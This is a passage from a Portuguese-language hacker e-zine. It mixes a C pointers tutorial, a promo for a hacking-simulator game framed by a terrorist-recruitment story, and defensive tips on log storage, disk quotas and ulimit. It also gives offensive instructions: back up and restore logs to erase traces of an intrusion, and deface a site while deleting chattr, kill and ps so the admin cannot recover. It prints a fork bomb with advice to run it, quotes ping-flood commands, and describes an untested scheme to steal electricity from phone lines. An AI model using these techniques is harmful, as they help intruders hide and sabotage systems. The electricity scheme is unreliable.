ponteiro para ela seria: int (*pont)(const char *s); Note que declaramos o ponteiro de modo diferente do comum. Neste caso eh necessario usar os parenteses antes do *. Tambem devemos declarar o argumento que a funcao recebe. Para executa-la agora: pont = puts; (*pont)("Hellow world!!"); Meio estranho neh?? Mas isto pode ser muito util, por exemplo caso vc queira passar diversas funcoes (com mesmo prototipo) para um procedimento ou uma estrutura. O programa teste a seguir faz exatamente como mostrado neste exemplo. Altere o programa para que receba funcoes com outros prototipos, etc, para compreender melhor. Programa Teste ############## <++> ponteiros/teste2.c #include void main() { int (*pont) (const char *); pont = puts; (*pont)("Hellow World!"); } <--> 8. Ponteiros para estruturas ############################ A declaracao nao tem nada de mais. Apenas use o * antes do nome: struct dados { int idade; char nome[80]; //... }; struct dados *cad; Ou se vc gosta de typedef... typedef struct { int idade; char nome[80]; //... } dados; dados *cad; Ambos fazem a mesma coisa, criam um ponteiro para uma estrutura. Ae entra outro simbolo da linguagem C. O -> (seta). Ele serve para apotar um elemento da estrutura. Imagine uma estrutura declarada normalmente. Voce acessaria ela da seguinte forma: dados cad1; cad1.idade = 41; strcpy(cad1.nome, "Seu Antonio"); Com um ponteiro vc faz: dados *cad2; cad2->idade = 19; strcpy(cad2->nome, "Aline"); O -> faz o mesmo que: (*cad2).idade = 19; Os parenteses sao sempre obrigatorios pois o . (ponto) tem prioridade sobre o * (asterisco). Entao para facilitar a vida do programador foi criado o -> que substitui toda a bagaca. 9. Problemas comuns ################### Quando o problema de um programa esta no ponteiro, este eh muito dificil de ser encontrado, pois o compilador nao reconhece problemas em ponteiros. Com o ponteiro voce pode escrever em uma zona da memoria que corresponde a outras funcoes. O compilador pode retornar erro nestas funcoes ou nao retornar nada, porem o programa nao sera executado como deveria. Alguns dos problemas mais comuns serao reportados aki. 9.1. Inicializando errado ######################### Muito comum de encontrar ponteiros inicializados com valores de variaveis ao invez do endereco delas. Algo como no exemplo a seguir: int i=10, *p; p=i; Issu faria o ponteiro apontar para o endereco 10 da memoria e sobreescreveria ela. A forma certa de inicializa-lo eh sempre usar o & antes da variavel: int i=10, *p; p=&i; 9.2. Definindo localizacoes constantes ###################################### Eh incorreto pensar que seus dados serao sempre armazenados no mesmo endereco, por isso definir enderecos fixos para um ponteiro eh um conceito errado. Exemplo: int i=10, *p; p=&i; printf("%p",p); O modelo acima, imprime o endereco do ponteirona tela. Digamos que fosse 8022. Entao fazemos: int i=10, *p; p=8022; Embora isso possa funcionar algumas vezes, o modelo esta errado pois a localizacao das variaveis na memoria varia mto, eh algo que nao pode ser suposto. Supor que uma variavel eh armazenada depois da outra por sua declaracao tambem eh um conceito errado. Por isso que qdo rodamos xploits de b0f nos usamos offsets. O exploit soh funciona se encontrar o endereco certo da memoria onde a variavel esta'. Se as variaveis fossem sempre armazenadas no mesmo local nao precisariamos usar offsets. 9.3. Ponteiros nao inicializados ################################ Usar um ponteiro que nao esta apontando para lugar nenhum eh conhecido como um ponteiro selvagem. Veja no exemplo: char *p; strcpy(p,"Teste"); Isso certamente causara problemas no programa pois o ponteiro esta' apontando para uma zona qquer da memoria e escrevera em cima do que tiver lah. Porem eh possivel armazenar dados nele durante sua declaracao: char *p="Teste"; 10. Finalizacoes ################ Issu eh tudo por hj! Soh fazendo uma correcao do que eu disse na introducao, a PUCRS nao dava a materia de ponteiros ateh semestre passado. Foi surpresa minha ao ver o professor explicando esta materia na aula. Alias nem sei pq ele deu esta materia ja que nao vai cobrar em provas nem nada. Sera que depois deu tirar dois 10 seguidos ele se interessou nos arquivos q eu escrevia la na facul?? =) Esta materia e a de alocacao dinamica foram editadas na facul. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 13 - Smashing the imagination ~YXXXXx_ _xXXXXXX( for fun and profit )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ pcHazard _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Nao, nao irei falar sobre buffer overflows :-) Hj eu resolvi trazer um joguinho pra todo mundo q tah de ferias em Julho e assim como eu nao vai viajar... hmm, talvez eu me mude pra Brasilia nessas ferias e talz, mais isso nao vem ao caso :-) Essa materia vai falar sobre o DanOS RELEASE 1.0.0... Um novo SO ? Nao exatamente... Ele eh um simulador de hacking como o Henix do struck, mas escrito em perl e assim vc pode rodar ele em varias plataformas diferentes sem precisar mudar muita coisa no codigo. Ele possui a listagem de arquivos colorida e pode rodar como daemon no inetd tambem caso vc queira deixa-lo como um desafio para as pessoas da sua rede local ou ateh na internet mesmo... Seu objetivo eh entrar num servidor militar, burlar o IDS dele, ownar o servidor e rodar um software de controle de uma rede interligada de defesa militar, que pode ateh lancar misseis e tal... Ai voce deixa seu nome no hall da fama e chega aonde ninguem jamais chegou ateh hoje :-) Para voce entrar no clima do DanOS, vou lhes contar uma historia ficticia, e qualquer conhecidencia com uma historia real eh mera coincidencia :-) --[ Era uma vez... ]------------------------------------------------- Eh uma noite fria e silenciosa de setembro, nao me lembro o ano. Joaozinho era um garoto especial. De vista, ele era apenas mais um garoto de 11 anos como os que se encontra em qualquer lugar. Mas Joaozinho nao jogava bola, odiava futebol. Gostava de basquete, mas nunca jogou porque ele era pequeno e tinha dedos pequenos :-) E ele era branco, e "brancos nao sabem enterrar"... Havia um brilho nos olhos de Joaozinho que faziam qualquer pessoa que ficasse com ele por 5 minutos notar que aquele era um garoto especial. Nao, ele nao tinha olhos azuis e nem era rico, mas tinha um modo diferente de olhar para as coisas, como se soubesse que ha' mais em algo do que apenas o que aparentemente eh e tentasse sempre descobrir o que eh... Seus pais, Joaozao e Maria, eram pobres e com muito custo criaram Joaozinho. Maria era dona de casa e lavava roupas para aumentar a renda da familia. Joaozao era metalurgico no ABC paulista e com muito custo conseguiu comprar o melhor presente que Joaozinho poderia ganhar, um computador. Bem, nao era assim um COMPUTADOR, era um 386 com 8mb de RAM e dos 6.22, mas Joaozinho ficou muito feliz com o presente de seu pai. Foi ai que tudo comecou... --[ O Comeco do Vicio ]---------------------------------------------- Joaozinho estava muito viciado no seu 386. No dia em que ganhou ele, nao sabia nem ligar o DOS. Um dia depois, usava o DOS. Dois dias depois dominava o DOS. Tres dias depois jah repudiava o DOS. "Deve haver algo melhor do que esse lixo, algo que possa fazer com que eu nao me torne um escravo do computador, me limitando `as limitacoes do DOS. Deve haver algo que faca com que minha mente seja exercitada, desafiada e que realmente valha a pena...". Mas era inutil. Todos os amiguinhos de Joaozinho usavam seus PCs pentium 100MHZ de 16mb de RAM para jogar e estavam satisfeitos com isso. Joaozinho passava 10 horas por dia no computador, soh fucando. Ele dava tchauzinho pra mamae dizendo que ia pra escola, dava a volta na casa, pulava o muro e entrava pela janela do seu quarto, que ele deixava propositalmente destrancada, aonde passaria as proximas 4 horas em frente ao seu 386... Um belo dia, no prompt do MS-DOS ele ia dar um "exit" pra sair e deu um "edit". "O que eh isso", perguntou Joaozinho. Ele abriu um executavel e ficou impressionado com o que viu. "O computador transforma esses codigos estranhos no programa", raciocinou ele. Ele entrou numa BBS, e conversando com uns caras de lah ele ficou sabendo que aquilo era um tal de assembler, que era muito dificil e que nao devia ser usado por pessoas ignorantes como ele. "Aonde eu arrumo meu assembler?" perguntou ele para os seus novos amiguinhos da BBS. "Pegue o compilador e linkador da Borland na BBS ou arrume um linux." -- responderam eles... --[ O Primeiro Contato ]-------------------------------------------- Linux? O que eh linux? Essas perguntas nao saiam da sua cabeca. Apesar de nao saber o que era, sabia que ia mudar a sua vida... No recreio do colegio, pensou em ir perguntar aos nerds do 1o. ano do segundo grau sobre esse tal de linux. Ele ficou meio receioso porque eles eram muito fechados e soh conversavam com eles mesmos. O chefe do grupo era Luizinho, um menino alto e magro, cheio de espinhas e aparelho nos dentes. -- Oi Luizinho, como vai? -- Nao garoto, eu nao vou reinstalar o DOS no seu computador e nem adianta vir pedir nem pagar, eu tenho mais o que fazer... -- Nao, nao eh isso, eu queri... -- Nao, nao vou instalar nenhum joguinho pra voce tambem nao ! -- Nao eh isso, eu queria saber se vc sabe o que eh linux De repente, todos pararam, como se Joaozinho tivesse dito algo proibido... -- Disse linux ? -- Eh ! -- Encontre a gente lah em casa, hoje, `a meia noite, combinado ? -- Tudo bem entao. Mas nao estava tudo bem. Joaozinho nao tinha as respostas as suas perguntas, e ele sua mae nao deixaria ele sair `a meia noite. Mas ele estava convicto e iria fugir as escondidas... Chegando na casa dele, todos os nerds estavam em frente a um computador com um penguim engracado na tela. Luizinho disse entao: -- Esse eh o linux, o melhor sistema operacional que existe. Tome esse CD, instale ele na sua maquina, leve mais esses livros, de C, de assembler, de Unix, de Linux e tem esse vermelhinho ai sobre TCP, o verde eh sobre Arquiteturas de Redes, o amarelo eh sobre configuracao de servidores, servidores DNS etc. O pretao grande ai eh a biblia do unix, o preto menorzinho eh o C Programmer's Guide do Dennis Ritchie. Voce sabe ingles neh ? Ah, leva esse aqui sobre seguranca em sistemas unix, e esse disquete aki com alguns RFCs e esse outro disquete tem os rainbow books do DoD, departamento de defesa. A proposito, nao diga a ninguem que voce tem esses rainbow books, ok ?? -- Tubo bem! -- Agora saia daqui, estude tudo o que eu te dei e soh volte a falar com a gente depois que achar que deve ! E Joaozinho saiu da casa de Luizinho com uma caixa de formularios continuos cheia de livros, CDs e disquetes. --[ O Dia "D" ]----------------------------------------------------- Quatro meses se passaram, e Luizinho achou que Joaozinho tinha morrido e ja pensava em ir `a casa de Joaozinho pedir suas coisas de volta para a mae dele... Joaozinho tinha agora 13 anos. No colegio, Joaozinho resolveu procurar os nerds, que agora Joaozinho nao chamava mais de nerds. -- Oi de novo, Luizinho -- E ai cara, gostou do material ? -- Gostei muito, eh tudo muito bom. -- E quando pretende me devolver ? -- Hoje, na sua casa, `a meia noite, da mesma forma que eu peguei eles. -- Ok. Ateh lah. Passaram-se 13 horas e meia ateh chegar meia noite. Joaozinho devolveu tudo como prometido. De novo, em frente `a tela daquela maquina com linux, jah dominado por Joaozinho (ele havia lido o codigo fonte do kernel, tinha feito ateh algumas mudancas, otimizacoes e correcoes e enviado para o tal do Benedict Torvalds), ele percebeu que os nerds estavam num terminal remoto que haviam chamado com o minicom, e usando ele como bridge entraram em outro sistema, via telnet, em um sistema que rodava um clone do unix, chamado DanOS, o qual eu nunca havia visto nem ouvido falar. Entao, Luizinho disse: -- Bem Joaozinho, eu e os outros nerds nao somos brasileiros. Eh uma historia longa. Eu sou frances. Quando morava na Franca, eu fui acusado de invadir muitos sistemas militares e, por ter posto em risco a seguranca nacional foi extraditado, e minha cidadania francesa foi cacada. Entao, sem rumo nem esperanca, fui contatado por um homem de feicoes arabes que se apresentou como Muhamed Osama Bim Labem Abdullah Jihhad Azim de Deus Junior, que me ofereceu ajuda. Me mandou para o Brasil, com casa, comida, roupa lavada, escola e contas de agua, luz e telefone pagas. Ele era filho de um Iraquiano chamado Osama Bim Labem Abdullah Jihhad Azim e uma brasileira chamada Deusicreide Aparecida de Deus, e trabalhava para Sadam Hussein, e eu era parte de um exercito de elite que Sadam estava formando, composto pelos maiores hackers do mundo, pessoas que podem controlar o mundo com apenas um teclado e um modem, ou como dizia Sadam, "O mundo eh controlado por computadores, e nos controlaremos os compu tadores !!! HAHAHAHAHA !!!", hackers que as nacoes desprezavam como cidadaos, mas que Sadam os acolhia como filhos e como sendo as maiores armas de guerra que ele poderia ter. A gente faz parte de um grupo extremista terrorista iraquiano, conhecido como "Os Juizes". -- Uau !!! -- Vimos que voce possui o potencial (argh!) para ser um grande hacker, e trabalhar com a gente, e por isso decidimos te dar uma chance de entrar para nosso grupo e ter todos os seus problemas com dinheiro resolvidos ! Tudo o que precisa fazer eh provar o seu potencial por invadir esse sistema que voce estah vendo ai e detonar o nosso colegio, mandando todos para a mais profunda e quente caldeira do inferno !!! Agora eh com voce, caro leitor da F3 zine, ajude Joaozinho a provar que nao eh apenas mais um desses lixos que se encontram nos canais #*hack* das redes de IRC incapaz de ownar sua propria maquina ! Aproveitando o embalo da nova HP da f3 zine decidimos deixar o DanOS rodando em um servidor durante um mes e ver quem conseguiria atingir o objetivo final, visto que apenas pegar root nao eh o bastante... Pra quem gostou dele e ficou curioso, no proximo issue da F3 zine lancaremos o codigo fonte dele =) Conecte-se usando um cliente telnet que suporte ANSI como o do linux (nao recomendo usar o telnet do windows...) no host fatal3rror.com porta 666 e que a forca esteja com voce !!! _xXXXP^'' ``^YXXXx_ _xXXXXP~ 14 - t3kn33ks ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Esta fundada a nova secao da fatal 3rror. Aki vou descrever algumas techinicas usadas tanto por Hackers qto por Securiters mas sem ter que me aprofundar de mais nos assuntos. Vao ser coisas mto usadas na pratica porem que nao tiveram divulgacao de suas bases. Algumas foram descobertas ao analizar .historys de admins e hackos. Se voce tb usa algumas rotinas pouco comuns mas eficases, nao se acanhe em enviar um email pra mim q tera divulgacao nessa secao. Ah!! o txto sera avaliado como qquer materia da f3. Agora vamos as atracoes do dia: 1. Tiger Team em logs (Hack) 2. Defacement violento (Hack) 3. Seguranca em seus logs (Security) 4. Estabelecendo Limites (Security) 1. Tiger Team em logs ##################### Se vc estiver sozinho na maquina (acontece muito) ah uma alternativa boa para saber se o que vc fez foi logado por um IDS. Olhe os arquivos de log do sistema assim q entrar nele. Apos 0wna-lo olhe novamente e veja se o tamanho deles aumentou. Caso sim, olhe as ultimas linhas dos arquivos com tamanho alterados. Nelas devem estar seus dados. Para apagar os dados existe uma alternativa muito simples. Antes de fazer qquer coisa (ateh mesmo de logar por telnet) entre por FTP e puche todo o diretorio de logs para a sua maquina. Depois de 0wna-la e verificar os arquivos que mudou, delete-os e copie o backup dos antigos no seu lugar. Com issu provavelmente a ultima coisa logada foi seu acesso por FTP, issu se tiver sido logado. Nem mesmo seu acesso telnet a maquina foi gravado. Essa tecnica eh usada com frequencia antes de um ataque direto a maquina para testar os sistemas de logs. Este eh um dos passos de um Tiger Team (batisado por phiber optik) que consiste em simular um ataque para testar falhas em um sistema. O basico aki eh entrar, anotar o tamanho ou criar uma chave md5. Depois disconecte, entre novamente e compare os dados anotados com os atuais.. com issu voce sabe o que foi logado e onde foi... Eh... alguns sistemas deixam arquivos padrao de log para enganar os invasores, enquanto os verdadeiros logs sao salvos em um local diferente. Comum encontrar uma maquina montada remotamente apenas para logs. 2. Defacement violento ###################### Algo muito bom de se fazer caso voce queira mesmo eh fuder com a makina eh modificar arquivos e impedir que estes sejam restaurados pelo admin simplesmente deletando os programas que fazem isso. Imagine a situacao, vc muda o index.html de um host. Entao seta atributos (chattr) para que o arquivo nao possa ser alterado. E depois simplesmente deleta o chattr do sistema. Resultado: o root tem que ir atraz dos pacotes de instalacao do chattr denovo. A saida mais plausivel neste caso seria enquanto o index e o chattr nao forem restaurados, o httpd seja killado. Assim ninguem acessa o servico de WWW mas pelo menos seu site nao seria visto defacementado. Dependendo da grandesa do servidor, ter seus servicos cancelados por meia hora faria com que ele perdesse menos clientes do que ter sua page ownada a mostra. Entao como antecipamos o proximo passo do root podemos tambem deletar o kill e o ps. =) Entendeu o espirito da coisa?? No fim das contas, dependendo do seu estrago, a unica saida do root sera upgradear todo o sistema novamente e aposto contigo como leva tempo ateh que uma decisao dessas seja tomada. Essa tecnica pode ser considerada um pouco radical de mais, mas eh muito eficaz. Ja fiquei sabendo de casos em q um site foi 0wnado e fikou assim por 3 dias seguidos. 3. Seguranca em seus logs ######################### Para um sekuriter manter seus logs em seguranca eh um trabalho arduo pois uma vez q uma ferramenta salva dados sobre um usuario em um arquivo, este pode ser encontrado e alterado pelo root. Mesmo estando em outra maquina ou outra particao, sempre eh possivel encontrar e alterar arquivos de log ao r00tar uma maquina. A saida mais plausivel para isso seria salvar os logs em um meio fisico que o invasor nao tenha acesso. Ja ouvir falar em lugares q imprimem seus logs para q estes nao sejam violados. Outra boa opcao seria salva-los de tempos em tempos em um disquete e manter o disquete sempre fora do alcance de invasores virtuais (fora da maquina). Um sistema que ja vi funcionando e creio eu ser muito util tambem eh utilizar CD-Rs para salvar logs. Porem, os logs seriam sempre atualizados em arquivos diferentes, ja q nao podemos regravar o mesmo. Assim torna-se facil ter acesso aos logs porem eh impossivel altera-los, sendo assim um invasor nao poderia apagar sua presenca. Como a capacidade de um CD-R comum eh suficientemente boa (650M) para log, o unico problema deste metodo seria o custo de um gravador de CDs. Para que um hacker consiga burlar os logs precisaria ter acesso fisico a maquina, coisa q nao costuma muito acontecer. Pelo menos nao atualmente, pq no inicio do "hackerismo" ser hacker consistia em invadir tanto virtualmente qto fisicamente. 4. Estabelecendo Limites ######################## Eh muito recomendado que os admins q limitem o espaco em disco e a memoria para seus usuarios. Ambos podem ser facilmente feitos. O kernel do linux possui suporte a estabelecer quotas de espaco em disco para seus usuarios. Voce pode definir a quota pelo grupo dos usuarios ou individualmente. A primeira coisa a fazer eh adicionar no /etc/fstab a opcao usrquota para a particao a ser quotada: /dev/hda1 / ext2 defaults,usrquota 1 1 Nota: Quotas soh podem ser estabelecidas em particoes ext2. Tambem eh preciso criar o arquivo /quota.user na raiz da particao quotada. Este arquivo deve ser 600. # touch /quota.user ;chmod 600 /quota.user Reinicie a maquina para as alteracoes no fstab tenham efeito. Agora use os comandos quota, quotaon, quotaoff, repquot, edquota e quotacheck. De uma olhada nas man pages deles para aprender legal como usa-los. Enquanto isso aki vai um exemplo de como definir limites de 3 - 5MB de espaco e entre 500 e 1000 arquivos para o user struck. # edquota -u struck Quotas for user struck: /dev/hda3: blocks in use: 58, limits (soft = 3000, hard = 5000) inodes in use: 41, limits (soft = 500 , hard = 1000) Mude apenas os limites. Apos isso tambem deve-se definir o periodo de concessao em que o usuario sera avisado ao ultrapassar a cota inferior. # edquota -t Time units may be: days, hours, minutes, or seconds Grace period before enforcing soft limits for users: /dev/hda3: block grace period: 1 days, file grace period: 1 days Pronto! Agora use o comando quota para ver as mudancas: # quota struck Disk quotas for user struck (uid 1337): Filesystem blocks quota limit grace files quota limit grace /dev/hda3 58 3000 5000 41 500 1000 Alem de definir limites de espaco em disco, podemos usar o comando ulimit para limitar a stack, o numero de arquivos a serem abertos, o numero de processos a rodarem, o tamanho dos arquivo core gerados, etc. Exemplo: # ulimit -s0 # ls Segmentation Fault rlz uh?? O que fizemos acima foi limitar a stack a 0. Assim nem mesmo um ls podera ser executado. Mas "pra que limitar o stack" pergunta o orangutango la no canto. Bem... voces lembram das fork bombs que faziam um estrago fudido a uns tempos atras?? main(){ for(;;) fork(); } Compile e rode-o como usuario normal para ver o estrago. Agora limitando a memoria da pilha (stack) para seus usuarios, essa bomba passa a ser inofensiva. Detalhe: nao deixe muito pouca memoria pq se nao voce limita muito o usuario. aha achei o kra... chernobyl hover escreve a bhoor zine.. nao li ela ainda... vo da uma lida ver o nivel a zine comecao com umas 5 materias falando soh de etica, objetivos, historia da zine, etc... puts moh tongao aheuuehauheahuae 1 - Etica 2- eStilo 3- Mails 4- Humor acabo ehauuaeuuhaeea heheh putz! tipo... tem 2 srcs de programas q nao sao dele que ocupam 99% do espaco da zine bahhhh... q lixo Peguando o IP no chat Arp -a olha o nivel das materia... Descobrindo o IP ou HOST do Provedor Ping www.provedor.com.br nao acredito no q eu to lendo iuheiuhaeiuhaeiuhaeiuhaeiuhaeiuhuiae nossa iuhaeiuheaiuheauae tipo... eh melhor nem comenta mais as materias q tem nessa zine.... c pode ter enjoo tem uma lista de cmds de mirc rippada, materia sobre o anonymiser coisa + antiga nao existe Lista de PINGs Sabe aqueles programinha q servem para derrubar o kra do chat! Vocˆ tambem pode fazer isto com o ms-dos do Ruindows. Ae vai um lista de PINGs pra vc: Ping (ip) -l2000 -n200 Ping (ip) -l 2000 -n 200 ... uhuaeaeiuhuhae chuva de ping cara sabe esses usuario novo de irc metido a racker tipo nunca te apareceu akeles tipo " mas eu te dei um monte de ping, mais de 10, como vc nao caiu?" hehehe nao tipo... ja me apareceu uns 10 olha o cumulo da lamisse Projeto Passwd principalmente os amigo akeles q nao mechem muito no irc Este projeto consiste no alistamento para a Brutal Destruction, para a reali- za‡Æo de coleta de senhas dos maiores provedores do Mundo. NÆo vou falar muito pq posso receber muito e-mail de lamer. Este projeto e para Hackers e Crackers caso algum lamer se intrometa. haha. haeihaeiuhieuuiheahaeiuhhiaueuhiaeuhoiauhieiuhaeuhiaeiuhaeiuhuhiaeae nhaeiuyaeyiughae'aetr aryes shrted westdyh uwtreuj wtre uj wetu iwrute wresjut cara para eu nao aguento mais aeuhuheahuuhaeae hahahahha kra... nessa eu to enfiando o dedo na guela iaeuhuuiaehaeae q cruel olha soh Inicio digitamento: 01/04/2001 …s 02:54 am Termini digitamento: 01/04/2001 …s 06:32 am o kra fez a zine em um dia heheheheh iuhieuahiuaehuiaeihiueaiuhiaeiuhaehiihaeuae akeles q tao entusiasmado nao levou nem 5 horas pra acabar hehehe " ahh,agora vo escreve um zine" pra mim fica famoso serio... eu nao sou de zuar ninguem... mas esse kra pidiu //Nota: Eu falei serio! nao acreditava q existisse gente assim.. ahhiueaiuhea eu conheco um cara assim da minha cidade mas eh 2x mais burro q ele esses dias ele acho q um amigo meu tinha derrubado o nickserv e fico loco auehuaehea dae quando volto o nick do cara q derrubo o nickserv mudo pra guest dae ele acredito q o nick do cara tinha sido cancelado porque ele tinha derrubado o nickserv haeuihaeuh sabe qual era a senha do nick do idiota? era " senha" sabe daonde? dakele " para registrar seu nick digite /msg nickserv register senha" serio huahauahuhauhau putz! eh verdade eh muita lamassera.... como eh q existe gente desse tipo... como conseguem ser tao idiotas.. eu por mais que tentasse nao conseguiria tipo o cara falava assim " cara, se eu fizesse isso, eu derrubava a brasnet e seria o cara mais famoso do irc" kra... dessa vez eu vi mesmo como existem lamahs por ae... desde o lancamento da f3-00 nunca tinha chovido tanto email de lamah aki _xXXXP^'' ``^YXXXx_ _xXXXXP~ 15 - Uncolor Box ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Este eh um novo projeto dakeles que ainda esta soh na minha cabeca... Nao coloquei-o na pratica ainda, mas vou descrever em detalhes como funciona o circuito desta nova box que estou matutando... Para sua criacao eh preciso saber um minimo de fisica eletrica que irei explicar brevemente aki. Se voce eh formado em Engenharia eletrica pode pular essas explicacoes de pre-requesitos. Mas se voce inda nao saka muito dessas coisa, da uma lida soh pra ter uma base de como projetar a box que vou descrever la no fim da materia... Alias... um bom phreaker tem que ser tambem um bom eletricista para fazer e criar suas boxes. Nao soh akele que sabe puchar uma extencao. "Aprendi muito com Profissionais que lidam diretamente com o assunto e não com o TOM WAITS... :)" TPGA Pre-requesitos: -Resistores -Capacitores -Diodos -Portas Logicas Resistores ########## A funcao basica de um resistor eh resistir a uma tensao. Essa resistencia gera uma potencia calculada pela formula: P = iV Onde: P = Potencia (Watts) i = Intencidade da corrente (Amperes) V = Tensao (Volts) Isto eh usado para diversos fins, como por exemplo acender uma lampada ou aquecer um chuveiro eletrico, etc... Mas esta resistencia tb causa uma queda na tensao. Essa queda pode ser calculada pela formula simples da lei de Ohn: V = Ri Onde: V = Tensao, DDP, Diferenca de Potencial (Volts) R = Resistencia (Ohns) i = Intencidade da corrente (Amperes) Esta queda de tensao tambem eh aproveitada em alguns casos como veremos mais adiante. Uma das leis de KirchHoff (nao sei se eh assim q se escreve) diz que todas as quedas de tensao somadas devem dar o mesmo valor da DDP fornecida pela fonte. Ou seja, numa soma algebrica das variacoes de potencial de um circuito tem que resultarem em 0. Isso nao se aplica somente a resistores mas todos os elementos encontrados no circuito. Isto pode ser exemplificado pela seguinte formula: V = V1 + V2 + V3 Onde: V = DDP fornecida pela fonte. V1, V2, V3 = Quedas de tensao. Capacitores ########### Capacitores sao construidos por 2 placas (positiva e negativa) separadas por um material isolante. Quando carregados eles armazenam cargas eletricas em suas placas para serem aproveitadas mais tarde em uma descarga (nao! nao eh como a da sua patente...). Capacitores sao muito usados em circuito eletricos como armazenadores de energia eletrica. Assim como resistencias, capacitores tambem causam uma queda de tensao. Essa tensao eh armazenada no capacitor por isso obviamente a queda de tensao eh esperada. Por hora somente isso precisamos saber de capacitores. As formulas de calcular a capacitancia e a cara e descarga em funcao do tempo serao ignoradas por enquanto. Diodos ###### Diodo eh a juncao de uma barra positiva (P) com outra negativa (N), geralmente feitas de silicio, que formam assim uma Juncao PN mais conhecida como diodo. Ele tem 2 funcoes basicas dependendo do sentido em que ele se encontra num circuito eletrico. Se colocado no sentido direto da corrente ele deixa a corrente passar, caso contario (no sentido oposto) ele impede que a corrente passe. Seu funcionamento eh parecido com o de um resistor no sentido direto e de um capacitor no sentido contrario. _______+ |>| -________ | diodo | | | | | |_________+/-__________| No exemplo acima o diodo somente conduz a corrente para que o circuito feche. _______- |<| +________ | diodo | | | | | |_________+/-__________| Neste exemplo a corrente eh barrada pelo diodo. Nota: Costumase ligar diodos junto a resistores para que evitar que eles queimem. O diodo causa uma queda de tensao de 0.7Volts. Porta logica AND ################ Vou citar aki 2 circuitos simples de portas logicas AND e OR. Ambos circuitos usaremos 2 chaves que serao as entradas da porta. Ou seja: 1 =ligado, 2 = desligado. O 1o circuito eh simples... (Fonte)________/ ________/ __________/\/\/\/\______(Massa) Chave1 Chave2 Resistor O resistor aki eh somente para testar a saida. Pode ser uma lampada ou qquer coisa. Qdo a chave eh fechada assume o valor 1 qdo aberta 0. Assim... qdo fechamos as 2 chaves fechamos o circuito e a corrente chega ateh a lampada ou o q tiver sido colocado ali. Lampada ligada = 1, desligada = 0. Assim temos a tabela verdade do AND: 1 AND 1 = 1 1 AND 0 = 0 0 AND 1 = 0 0 AND 0 = 0 Porta logica OR ############### A porta logica OR eh parecida com a AND porem aki colocamos as chaves em paralela enquanto antes tinhamos colocado-as em serie. A logica eh simples... antes somente qdo as 2 chaves eram fechadas q a corrente passava. Aki eh preciso q apenas uma seja fechada para fecha o circuito. Chave1 ____/______ (Fonte)_______/ \______/\/\/\/\______(Massa) \____/ _____/ Resistor Chave2 Chave Fechada = 1 e aberta = 0. Lampada ligada = 1 e desligada = 0. Temos a tabela verdade do OR. 1 OR 1 = 1 1 OR 0 = 1 0 OR 1 = 1 0 OR 0 = 0 Eu ia publicar uns circuito mais complexos de porta logica mas o ASCII deles iria ficar complicado entao optei pelos mais simples. The Uncolor-Box Project ####################### Bem... Vamos aos finalmentes... Uncolor-Box eh uma folgacao com as nomeclaturas dos Americanos pra faze boxes. La eles tem as color-boxes e aki nos temos a uncolor-box. =) Ta mas chega de zuera... O projeto aki consiste em um meio de roubar energia eletrica de linhas telefonicas. Eh... com esse esquema do racionamento... eh a Fatal 3rror salvando voces novamente... Ele ainda esta no papel e nao foi testado, por isso vou descrever aki somente o funcionamento dele. Para comecar... eu ja nao sei ao certo qto de corrente eletrica eh passado pela linha telefonica. Ja ouvi que eram 12V continua, 12V alternada, 9V a 20mA, etc... na verdade eu nunca liguei um voltimetro na linha telefonica para saber. O que importa eh que sabemos que la passa uma corrente e ela elevasse a sua tensao maxima quando o telefone toca. Issu por deducao sabemos pois a campainha precisa ser ativada. Entao o que podemos fazer eh uma gambiarra que ligada ao fio do telefone carrege alguns capacitores e estes consequentemente sejam aproveitados para carregar alguma bateria ou fazer funcionar algum eletrodomestico. Em outra linha colocamos um discador continuo para o numero da linha do 1o telefone para que a tensao fike sempre em seu maximo e assim carregue os capacitores mais rapido. Como voce somente paga a ligacao telefonica ao tirar o Telefone do gancho e enviar um sinal para a CT informando q a ligacao foi atendida, nos temos aki energia eletrica gratuita pois a CT vai pensar q a tensao caiu ao tocar a campainha do telefone, porem ela cai ao carregar o capacitor. Engenhoso nao? Nota: As 2 linhas ficariam inutilizadas com isso entao a saida seria colocar a box em TPs ou liga-las a noite ou ainda faze um gato numa linha que nao esteja sendo utilizada. Tipo... Falei dessa ideia para alguns conterranos daki que manjam e alguns gostaram outros nao botaram fe' no projeto. Mas na iluminacao da sua casa toda ligada a corrente telefonica. =) _xXXXP^'' ``^YXXXx_ _xXXXXP~ 16 - Sup3r l33t Pr0gz ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Achu q vou ter que comecar a colocar legendas azuis qdo eu estiver sendo sarcastico pq tem gente que ainda nao entendeu o espirito dessa secao... =/ Hj dou a vcs o que a de mais avancado para medir os conhecimentos. Este programa eh todo feito em perl e basta roda-lo e pah! Ele faz a analize de seu cerebro e da o resultado. Muito mais pratico do que fazer um Hack-Test. =) <++> Superprogs/analize.pl #!/usr/bin/perl # Analize v1.0 by Cheat Struck # Enjoy the leet prog! print "Voce esta na frente da mais poderosa ferramenta para medir conhecimentos.\n"; print "Encoste a cabeca no monitor e aperte a tecla Enter.\n"; 